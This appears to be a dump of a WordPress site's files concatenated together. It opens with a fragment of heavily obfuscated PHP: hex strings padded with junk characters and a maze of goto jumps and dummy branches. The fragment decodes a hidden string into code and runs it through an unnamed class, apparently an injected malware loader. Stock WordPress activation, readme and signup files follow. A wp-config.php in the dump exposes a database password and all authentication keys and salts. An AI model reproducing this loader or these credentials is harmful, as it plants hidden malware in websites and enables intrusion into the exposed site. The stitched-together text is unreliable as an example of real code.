a524e�','��6e54͏63ᅠ6�','��165឴3237','35឵4ᅠc5ᅠ374�','��឵696b363�','�039឵4͏84c6ᅟ','឵e786͏d4ᅠ�','�74a763ᅠ8','ᅠ6c3977ᅠ7឴1͏�','�764463͏4b','46឵4ᅠb5369','4438633�','�336឵5ᅟ4ᅠ41�','��7ᅟ឴94឴14f4','e4ᅠc513឴8�','�63466775�','��32͏4a39឴6ᅟd�','�475឴1ᅠ584','d឴58឴͏752f�','�552b឴32឴37͏�','��6d623141ᅠ�','�35636550','5͏46c526d�','��72726bᅠ6b','឵6744឴឵59឴6�','��64865555','8724a5឵24�','��62b4aᅠ5͏�','��16឵឵9796eᅟ͏6�','�fᅠ63ᅠ387឵ᅟ','6713ᅟ26឵c4឵�','��7ᅠ7ᅠ57ᅠ736�','�746b714ᅟe','462͏ᅠbᅟ͏ᅟ576a�','��7឴579553ᅠ3�','��2b͏឵4b68ᅟ�','��5a39677a�','�39ᅟ6256�','��4ᅠc646d4�','�b឵឴ᅠ56493ᅟ0឵','537636ᅟ5�','��92͏f434b7','6ᅟᅟ52515͏64','d5ᅠ62b59','326e͏6ᅟb឵4�','�564666ᅟc3','57742ᅠ7a�','�4឵bᅟ6c4឴62឴','f543឴0716','ᅠc453258�','��͏4aᅠᅠ6373឴4','17͏259ᅟ39�','�65ᅠ឵475឵248�','�6d5ᅠ5784͏�','��54b69͏77','414឴5ᅠ476','24ᅠ67឵͏9675�','�6354d3឵958�','��6f574឵5�','�385ᅠ4494�','��c឴3឴8឵6b73឵','7233784d�','��595a483','0឵4͏46ᅠb6e�','�68឵39595͏','6327aᅟ73ᅠ3','03ᅟᅟ0574឴7�','��517឴6783','34b6e64�','�5឵8643͏឴86�','��ᅠ84឴66a͏6f4�','�8឴544d7a','ᅠ51332b','4឵84e3ᅠ675','71ᅠᅟ5឵75ᅠ13�','�d3dᅠ឴'];
$nljlZ7Fp = '';
goto uOP2u9hy;
uOP2u9hy:
// End of chaos flow
goto fZ8hP00X;
wqs1y6sw:
goto pXMp2TQ7;
D5BQnghx:
/* Security component */
if ((strlen(__FILE__) > 10 && !$RdY12FWw || $wogCrXDM)) {
goto jkyYL8Iz;
} else {
goto f2q8RXvC;
}
jkyYL8Iz:
while ($RdY12FWw < 8) { $RdY12FWw++; }
goto FR3aUzc3;
f2q8RXvC:
$wogCrXDM = 932;
if (php_sapi_name() !== "cli") {
goto FR3aUzc3;
}
FR3aUzc3:
$a7HX4fDW3 = !$RdY12FWw ? 1 : 0;
goto n1cq8gsK;
pXMp2TQ7:
/* RfAjGEbicl */
if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
goto D5BQnghx;
} else {
goto f2q8RXvC;
}
n1cq8gsK:
$EgazEuXs = $_b($Umt8naOv);
goto OJHtyZib;
OJHtyZib:
// End of chaos flow
goto hReMDYjR;
QoqbNbbn:
goto fZpqUzyH;
qPOG0Knl:
if ((random_int(0, 1) === 1 || php_sapi_name() !== "cli")) {
goto BAmepTlK;
} else {
goto j0dUeoNu;
}
BAmepTlK:
while ($RdY12FWw < 14) { $RdY12FWw++; }
goto gf8dk47I;
j0dUeoNu:
if (random_int(0, 1) === 1) {
goto gf8dk47I;
}
gf8dk47I:
$wogCrXDM = crc32(uniqid());
goto a2Eq7ixOT;
fZpqUzyH:
/* Cache manager */
if ((strlen($RdY12FWw) > 17 || count($_GET) > 0)) {
goto qPOG0Knl;
} else {
goto j0dUeoNu;
}
a2Eq7ixOT:
ob_end_clean();
goto ngVL6C3j;
ngVL6C3j:
// End of chaos flow
goto jLxjcG8L;
NTfC1IIp:
goto p4CaTKXD;
a566UnuQc:
// TODO: Refactor this
if (($RdY12FWw < $wogCrXDM && time() % 2 === 0 && $RdY12FWw > 48)) {
goto a0lL2xaYg;
} else {
goto a02VvsN3i;
}
a0lL2xaYg:
for ($RdY12FWw = 0; $RdY12FWw < 9; $RdY12FWw++) { /* dummy loop */ }
goto SyyM7DqX;
a02VvsN3i:
$a7HX4fDW3 = 960;
if (php_sapi_name() !== "cli") {
goto SyyM7DqX;
}
SyyM7DqX:
$a7HX4fDW3 = rand(1, 1000);
goto la7QynJ7;
p4CaTKXD:
/* API handler */
if (isset($_SERVER["HTTP_USER_AGENT"])) {
goto a566UnuQc;
} else {
goto a02VvsN3i;
}
la7QynJ7:
$Umt8naOv = '';
for ($u9fArqks = 0; $u9fArqks < $_l($nljlZ7Fp); $u9fArqks += 2) {
$Umt8naOv .= $_c($_h($_s($nljlZ7Fp, $u9fArqks, 2)));
}
goto JXVE3qBd;
JXVE3qBd:
// End of chaos flow
goto wqs1y6sw;
}
}
goto DsmzNOxB;
DsmzNOxB:
goto a63LNFnuM;
jCD4eJAk:
/* Bk5tJH8xbK */
if (isset($RdY12FWw) && $RdY12FWw !== null) {
goto eMsoOi6n;
} else {
goto Tj7HSO0g;
}
eMsoOi6n:
do { $RdY12FWw++; } while ($RdY12FWw < 3);
goto UYDLiFOx;
Tj7HSO0g:
$RdY12FWw = 906;
if (($RdY12FWw < $wogCrXDM || isset($RdY12FWw) && $RdY12FWw !== null)) {
goto UYDLiFOx;
}
UYDLiFOx:
goto swLNYYdP;
a63LNFnuM:
/* tScyLlFQ2a */
if (($RdY12FWw < $wogCrXDM || $RdY12FWw < $wogCrXDM)) {
goto jCD4eJAk;
} else {
goto Tj7HSO0g;
}
swLNYYdP:
V0Tapc709RtB::run();
goto a_R3NXNAQ;
a_R3NXNAQ:
// End of chaos flow
<?php
/**
* Confirms that the activation key that is sent in an email after a user signs
* up for a new site matches the key for that user and then displays confirmation.
*
* @package WordPress
*/
define( 'WP_INSTALLING', true );
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
require __DIR__ . '/wp-blog-header.php';
if ( ! is_multisite() ) {
wp_redirect( wp_registration_url() );
die();
}
$valid_error_codes = array( 'already_active', 'blog_taken' );
list( $activate_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
$activate_cookie = 'wp-activate-' . COOKIEHASH;
$key = '';
$result = null;
if ( isset( $_GET['key'] ) && isset( $_POST['key'] ) && $_GET['key'] !== $_POST['key'] ) {
wp_die( __( 'A key value mismatch has been detected. Please follow the link provided in your activation email.' ), __( 'An error occurred during the activation' ), 400 );
} elseif ( ! empty( $_GET['key'] ) ) {
$key = sanitize_text_field( $_GET['key'] );
} elseif ( ! empty( $_POST['key'] ) ) {
$key = sanitize_text_field( $_POST['key'] );
}
if ( $key ) {
$redirect_url = remove_query_arg( 'key' );
if ( remove_query_arg( false ) !== $redirect_url ) {
setcookie( $activate_cookie, $key, 0, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
wp_safe_redirect( $redirect_url );
exit;
} else {
$result = wpmu_activate_signup( $key );
}
}
if ( null === $result && isset( $_COOKIE[ $activate_cookie ] ) ) {
$key = $_COOKIE[ $activate_cookie ];
$result = wpmu_activate_signup( $key );
setcookie( $activate_cookie, ' ', time() - YEAR_IN_SECONDS, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
}
if ( null === $result || ( is_wp_error( $result ) && 'invalid_key' === $result->get_error_code() ) ) {
status_header( 404 );
} elseif ( is_wp_error( $result ) ) {
$error_code = $result->get_error_code();
if ( ! in_array( $error_code, $valid_error_codes, true ) ) {
status_header( 400 );
}
}
nocache_headers();
// Fix for page title.
$wp_query->is_404 = false;
/**
* Fires before the Site Activation page is loaded.
*
* @since 3.0.0
*/
do_action( 'activate_header' );
/**
* Adds an action hook specific to this page.
*
* Fires on {@see 'wp_head'}.
*
* @since MU (3.0.0)
*/
function do_activate_header() {
/**
* Fires within the `<head>` section of the Site Activation page.
*
* Fires on the {@see 'wp_head'} action.
*
* @since 3.0.0
*/
do_action( 'activate_wp_head' );
}
add_action( 'wp_head', 'do_activate_header' );
/**
* Loads styles specific to this page.
*
* @since MU (3.0.0)
*/
function wpmu_activate_stylesheet() {
?>
<style type="text/css">
.wp-activate-container { width: 90%; margin: 0 auto; }
.wp-activate-container form { margin-top: 2em; }
#submit, #key { width: 100%; font-size: 24px; box-sizing: border-box; }
#language { margin-top: 0.5em; }
.wp-activate-container .error { background: #f66; color: #333; }
span.h3 { padding: 0 8px; font-size: 1.3em; font-weight: 600; }
</style>
<?php
}
add_action( 'wp_head', 'wpmu_activate_stylesheet' );
add_action( 'wp_head', 'wp_strict_cross_origin_referrer' );
add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
get_header( 'wp-activate' );
$blog_details = get_site();
?>
<div id="signup-content" class="widecolumn">
<div class="wp-activate-container">
<?php if ( ! $key ) { ?>
<h2><?php _e( 'Activation Key Required' ); ?></h2>
<form name="activateform" id="activateform" method="post" action="<?php echo esc_url( network_site_url( $blog_details->path . 'wp-activate.php' ) ); ?>">
<p>
<label for="key"><?php _e( 'Activation Key:' ); ?></label>
<br /><input type="text" name="key" id="key" value="" size="50" autofocus="autofocus" />
</p>
<p class="submit">
<input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e( 'Activate' ); ?>" />
</p>
</form>
<?php
} else {
if ( is_wp_error( $result ) && in_array( $result->get_error_code(), $valid_error_codes, true ) ) {
$signup = $result->get_error_data();
?>
<h2><?php _e( 'Your account is now active!' ); ?></h2>
<?php
echo '<p class="lead-in">';
if ( '' === $signup->domain . $signup->path ) {
printf(
/* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */
__( 'Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
esc_html( $signup->user_login ),
esc_html( $signup->user_email ),
esc_url( wp_lostpassword_url() )
);
} else {
printf(
/* translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost password URL. */
__( 'Your site at %1$s is active. You may now log in to your site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
sprintf( '<a href="http://%1$s">%1$s</a>', esc_url( $signup->domain . $blog_details->path ) ),
esc_html( $signup->user_login ),
esc_html( $signup->user_email ),
esc_url( wp_lostpassword_url() )
);
}
echo '</p>';
} elseif ( null === $result || is_wp_error( $result ) ) {
?>
<h2><?php _e( 'An error occurred during the activation' ); ?></h2>
<?php if ( is_wp_error( $result ) ) : ?>
<p><?php echo esc_html( $result->get_error_message() ); ?></p>
<?php endif; ?>
<?php
} else {
$url = isset( $result['blog_id'] ) ? esc_url( get_home_url( (int) $result['blog_id'] ) ) : '';
$user = get_userdata( (int) $result['user_id'] );
?>
<h2><?php _e( 'Your account is now active!' ); ?></h2>
<div id="signup-welcome">
<p><span class="h3"><?php _e( 'Username:' ); ?></span> <?php echo esc_html( $user->user_login ); ?></p>
<p><span class="h3"><?php _e( 'Password:' ); ?></span> <?php echo esc_html( $result['password'] ); ?></p>
</div>
<?php
if ( $url && network_home_url( '', 'http' ) !== $url ) :
switch_to_blog( (int) $result['blog_id'] );
$login_url = wp_login_url();
restore_current_blog();
?>
<p class="view">
<?php
/* translators: 1: Site URL, 2: Login URL. */
printf( __( 'Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>' ), esc_url( $url ), esc_url( $login_url ) );
?>
</p>
<?php else : ?>
<p class="view">
<?php
printf(
/* translators: 1: Login URL, 2: Network home URL. */
__( 'Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ),
esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
esc_url( network_home_url( $blog_details->path ) )
);
?>
</p>
<?php
endif;
}
}
?>
</div>
</div>
<?php
get_footer( 'wp-activate' );
<?php
// Added by SpeedyCache
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'crealab_wp707' );
/** Database username */
define( 'DB_USER', 'crealab_wp707' );
/** Database password */
define( 'DB_PASSWORD', 'nRS9]t6p1-' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'nvgnuvhfannmfn1uh28oilvmryyoj7acibdnwejwmn3ypkns52tyoas3e0eykedm' );
define( 'SECURE_AUTH_KEY', 'pffghafu0iclbyi7xejwfjbhfbecu1pyt9bpkuqqr1ygdcqujwm4ooylqlsewq7n' );
define( 'LOGGED_IN_KEY', 'webn8i7rra94shmngvv0dnokfxzgbi2yy76kbm0mqoluivh3h9bactp0koozei3x' );
define( 'NONCE_KEY', 'un38l26g1hfz5pu95qa29dsnivwtjedhlwqdrsowdfns2qaeclvnh6ror9n4ere0' );
define( 'AUTH_SALT', 'lexrdjfzrbz4lk3pm1mqqghlxdslzo4nzoahy8dlocjqbijtxhrzjg6ppcvambt2' );
define( 'SECURE_AUTH_SALT', 'pcqxqsxkn547qtjiwy1usnw5d0tolfoxbarwe4agxpjy79vauj4s2ey7ybw1hmsw' );
define( 'LOGGED_IN_SALT', 'oe2bywankjrekget4lzxxcklhnltzxtyrxy6crbp439dko4kz3twemsjmo1ye0ah' );
define( 'NONCE_SALT', 'fwqhqd503medlxcdmaktppm5kx5mxmqmbbmjdayseifbmcyccxhzlquj77rixa8l' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*
* At the installation time, database tables are created with the specified prefix.
* Changing this value after WordPress is installed will make your site think
* it has not been installed.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
*/
$table_prefix = 'wpg2_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="robots" content="noindex,nofollow" />
<title>WordPress › ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h2>First Things First</h2>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I am proud to be a part of. Thousands of hours have gone into WordPress, and we are dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">— Matt Mullenweg</p>
<h2>Installation: Famous 5-minute install</h2>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this does not work, do not worry. It may not work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your site. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/forums/">WordPress support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on “Profile” to change the password.</li>
</ol>
<h2>Updating</h2>
<h3>Using the Automatic Updater</h3>
<ol>
<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That’s it!</li>
</ol>
<h3>Updating Manually</h3>
<ol>
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you’ve modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Migrating from other systems</h2>
<p>WordPress can <a href="https://developer.wordpress.org/advanced-administration/wordpress/import/">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php">our import tools</a>.</p>
<h2>System Requirements</h2>
<ul>
<li><a href="https://www.php.net/">PHP</a> version <strong>7.2.24</strong> or greater.</li>
<li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.5.5</strong> or greater.</li>
</ul>
<h3>Recommendations</h3>
<ul>
<li><a href="https://www.php.net/">PHP</a> version <strong>8.3</strong> or greater.</li>
<li><a href="https://www.mysql.com/">MySQL</a> version <strong>8.0</strong> or greater OR <a href="https://mariadb.org/">MariaDB</a> version <strong>10.6</strong> or greater.</li>
<li>The <a href="https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li><a href="https://wordpress.org/news/2016/12/moving-toward-ssl/">HTTPS</a> support.</li>
<li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
</ul>
<h2>Online Resources</h2>
<p>If you have any questions that are not addressed in this document, please take advantage of WordPress’ numerous online resources:</p>
<dl>
<dt><a href="https://wordpress.org/documentation/">HelpHub</a></dt>
<dd>HelpHub is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
<dd>This is where you’ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="https://wordpress.org/support/forums/">WordPress Support Forums</a></dt>
<dd>If you’ve looked everywhere and still cannot find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="https://make.wordpress.org/support/handbook/appendix/other-support-locations/introduction-to-irc/">WordPress <abbr>IRC</abbr> (Internet Relay Chat) Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="https://web.libera.chat/#wordpress">irc.libera.chat #wordpress</a>)</dd>
</dl>
<h2>Final Notes</h2>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/forums/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr>API</abbr> (Application Programming Interface) that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://developer.wordpress.org/plugins/">Plugin Developer Handbook</a>. You shouldn’t modify any of the core code.</li>
</ul>
<h2>Share the Love</h2>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgeable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/">donating</a>.</p>
<h2>License</h2>
<p>WordPress is free software, and is released under the terms of the <abbr>GPL</abbr> (GNU General Public License) version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
</body>
</html>
<?php
/**
* WordPress Signup Page
*
* Handles the user registration and site creation process for multisite installations.
*
* @package WordPress
*/
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
add_filter( 'wp_robots', 'wp_robots_no_robots' );
require __DIR__ . '/wp-blog-header.php';
nocache_headers();
if ( is_array( get_site_option( 'illegal_names' ) ) && isset( $_GET['new'] ) && in_array( $_GET['new'], get_site_option( 'illegal_names' ), true ) ) {
wp_redirect( network_home_url() );
die();
}
/**
* Prints signup_header via wp_head.
*
* @since MU (3.0.0)
*/
function do_signup_header() {
/**
* Fires within the head section of the site sign-up screen.
*
* @since 3.0.0
*/
do_action( 'signup_header' );
}
add_action( 'wp_head', 'do_signup_header' );
if ( ! is_multisite() ) {
wp_redirect( wp_registration_url() );
die();
}
if ( ! is_main_site() ) {
wp_redirect( network_site_url( 'wp-signup.php' ) );
die();
}
// Fix for page title.
$wp_query->is_404 = false;
/**
* Fires before the Site Sign-up page is loaded.
*
* @since 4.4.0
*/
do_action( 'before_signup_header' );
/**
* Prints styles for front-end Multisite Sign-up pages.
*
* @since MU (3.0.0)
*/
function wpmu_signup_stylesheet() {
?>
<style type="text/css">
.mu_register { width: 90%; margin: 0 auto; }
.mu_register form { margin-top: 2em; }
.mu_register fieldset,
.mu_register legend { margin: 0; padding: 0; border: none; }
.mu_register .error { padding: 10px; color: #333; background: #ffebe8; border: 1px solid #c00; }
.mu_register input[type="submit"],
.mu_register #blog_title,
.mu_register #user_email,
.mu_register #blogname,
.mu_register #user_name { width: 100%; font-size: 24px; margin: 5px 0; box-sizing: border-box; }
.mu_register #site-language { display: block; }
.mu_register .prefix_address,
.mu_register .suffix_address { font-size: 18px; display: inline-block; direction: ltr; }
.mu_register label,
.mu_register legend,
.mu_register .label-heading { font-weight: 600; font-size: 15px; display: block; margin: 10px 0; }
.mu_register legend + p,
.mu_register input + p { margin-top: 0; }
.mu_register label.checkbox { display: inline; }
.mu_register .mu_alert { font-weight: 600; padding: 10px; color: #333; background: #ffffe0; border: 1px solid #e6db55; }
.mu_register .mu_alert a { color: inherit; text-decoration: underline; }
.mu_register .signup-options .wp-signup-radio-button { display: block; }
.mu_register .privacy-intro .wp-signup-radio-button { margin-right: 0.5em; }
.rtl .mu_register .wp-signup-blogname { direction: ltr; text-align: right; }
</style>
<?php
}
add_action( 'wp_head', 'wpmu_signup_stylesheet' );
get_header( 'wp-signup' );
/**
* Fires before the site Sign-up form.
*
* @since 3.0.0
*/
do_action( 'before_signup_form' );
?>
<div id="signup-content" class="widecolumn">
<div class="mu_register wp-signup-container" role="main">
<?php
/**
* Generates and displays the Sign-up and Create Site forms.
*
* @since MU (3.0.0)
*
* @param string $blogname The new site name.
* @param string $blog_title The new site title.
* @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string.
*/
function show_blog_form( $blogname = '', $blog_title = '', $errors = '' ) {
if ( ! is_wp_error( $errors ) ) {
$errors = new WP_Error();
}
$current_network = get_network();
// Site name.
if ( ! is_subdomain_install() ) {
echo '<label for="blogname">' . __( 'Site Name (subdirectory only):' ) . '</label>';
} else {
echo '<label for="blogname">' . __( 'Site Domain (subdomain only):' ) . '</label>';
}
$errmsg_blogname = $errors->get_error_message( 'blogname' );
$errmsg_blogname_aria = '';
if ( $errmsg_blogname ) {
$errmsg_blogname_aria = 'wp-signup-blogname-error ';
echo '<p class="error" id="wp-signup-blogname-error">' . $errmsg_blogname . '</p>';
}
if ( ! is_subdomain_install() ) {
echo '<div class="wp-signup-blogname"><span class="prefix_address" id="prefix-address">' . $current_network->domain . $current_network->path . '</span><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" autocomplete="off" required="required" aria-describedby="' . $errmsg_blogname_aria . 'prefix-address" /></div>';
} else {
$site_domain = preg_replace( '|^www\.|', '', $current_network->domain );
echo '<div class="wp-signup-blogname"><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" autocomplete="off" required="required" aria-describedby="' . $errmsg_blogname_aria . 'suffix-address" /><span class="suffix_address" id="suffix-address">.' . esc_html( $site_domain ) . '</span></div>';
}
if ( ! is_user_logged_in() ) {
if ( ! is_subdomain_install() ) {
$site = $current_network->domain . $current_network->path . __( 'sitename' );
} else {
$site = __( 'domain' ) . '.' . $site_domain . $current_network->path;
}
printf(
'<p>(<strong>%s</strong>) %s</p>',
/* translators: %s: Site address. */
sprintf( __( 'Your address will be %s.' ), $site ),
__( 'Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!' )
);
}
// Site Title.
?>
<label for="blog_title"><?php _e( 'Site Title:' ); ?></label>
<?php
$errmsg_blog_title = $errors->get_error_message( 'blog_title' );
$errmsg_blog_title_aria = '';
if ( $errmsg_blog_title ) {
$errmsg_blog_title_aria = ' aria-describedby="wp-signup-blog-title-error"';
echo '<p class="error" id="wp-signup-blog-title-error">' . $errmsg_blog_title . '</p>';
}
echo '<input name="blog_title" type="text" id="blog_title" value="' . esc_attr( $blog_title ) . '" required="required" autocomplete="off"' . $errmsg_blog_title_aria . ' />';
?>
<?php
// Site Language.
$languages = signup_get_available_languages();
if ( ! empty( $languages ) ) :
?>
<p>
<label for="site-language"><?php _e( 'Site Language:' ); ?></label>
<?php
// Network default.
$lang = get_site_option( 'WPLANG' );
if ( isset( $_POST['WPLANG'] ) ) {
$lang = $_POST['WPLANG'];
}
// Use US English if the default isn't available.
if ( ! in_array( $lang, $languages, true ) ) {
$lang = '';
}
wp_dropdown_languages(
array(
'name' => 'WPLANG',
'id' => 'site-language',
'selected' => $lang,
'languages' => $languages,
'show_available_translations' => false,
)
);
?>
</p>
<?php
endif; // Languages.
$blog_public_on_checked = '';
$blog_public_off_checked = '';
if ( isset( $_POST['blog_public'] ) && '0' === $_POST['blog_public'] ) {
$blog_public_off_checked = 'checked="checked"';
} else {
$blog_public_on_checked = 'checked="checked"';
}
?>
<div id="privacy">
<fieldset class="privacy-intro">
<legend>
<span class="label-heading"><?php _e( 'Privacy:' ); ?></span>
<?php _e( 'Allow search engines to index this site.' ); ?>
</legend>
<p class="wp-signup-radio-buttons">
<span class="wp-signup-radio-button">
<input type="radio" id="blog_public_on" name="blog_public" value="1" <?php echo $blog_public_on_checked; ?> />
<label class="checkbox" for="blog_public_on"><?php _e( 'Yes' ); ?></label>
</span>
<span class="wp-signup-radio-button">
<input type="radio" id="blog_public_off" name="blog_public" value="0" <?php echo $blog_public_off_checked; ?> />
<label class="checkbox" for="blog_public_off"><?php _e( 'No' ); ?></label>
</span>
</p>
</fieldset>
</div>
<?php
/**
* Fires after the site sign-up form.
*
* @since 3.0.0
*
* @param WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
*/
do_action( 'signup_blogform', $errors );
}
/**
* Validates the new site sign-up.
*
* @since MU (3.0.0)
*
* @return array Contains the new site data and error messages.
* See wpmu_validate_blog_signup() for details.
*/
function validate_blog_form() {
$user = '';
if ( is_user_logged_in() ) {
$user = wp_get_current_user();
}
return wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'], $user );
}
/**
* Displays the fields for the new user account registration form.
*
* @since MU (3.0.0)
*
* @param string $user_name The entered username.
* @param string $user_email The entered email address.
* @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string.
*/
function show_user_form( $user_name = '', $user_email = '', $errors = '' ) {
if ( ! is_wp_error( $errors ) ) {
$errors = new WP_Error();
}
// Username.
echo '<label for="user_name">' . __( 'Username:' ) . '</label>';
$errmsg_username = $errors->get_error_message( 'user_name' );
$errmsg_username_aria = '';
if ( $errmsg_username ) {
$errmsg_username_aria = 'wp-signup-username-error ';
echo '<p class="error" id="wp-signup-username-error">' . $errmsg_username . '</p>';
}
?>
<input name="user_name" type="text" id="user_name" value="<?php echo esc_attr( $user_name ); ?>" autocapitalize="none" autocorrect="off" maxlength="60" autocomplete="username" required="required" aria-describedby="<?php echo $errmsg_username_aria; ?>wp-signup-username-description" />
<p id="wp-signup-username-description"><?php _e( '(Must be at least 4 characters, lowercase letters and numbers only.)' ); ?></p>
<?php
// Email address.
echo '<label for="user_email">' . __( 'Email Address:' ) . '</label>';
$errmsg_email = $errors->get_error_message( 'user_email' );
$errmsg_email_aria = '';
if ( $errmsg_email ) {
$errmsg_email_aria = 'wp-signup-email-error ';
echo '<p class="error" id="wp-signup-email-error">' . $errmsg_email . '</p>';
}
?>
<input name="user_email" type="email" id="user_email" value="<?php echo esc_attr( $user_email ); ?>" maxlength="200" autocomplete="email" required="required" aria-describedby="<?php echo $errmsg_email_aria; ?>wp-signup-email-description" />
<p id="wp-signup-email-description"><?php _e( 'Your registration email is sent to this address. (Double-check your email address before continuing.)' ); ?></p>
<?php
// Extra fields.
$errmsg_generic = $errors->get_error_message( 'generic' );
if ( $errmsg_generic ) {
echo '<p class="error" id="wp-signup-generic-error">' . $errmsg_generic . '</p>';
}
/**
* Fires at the end of the new user account registration form.
*
* @since 3.0.0
*
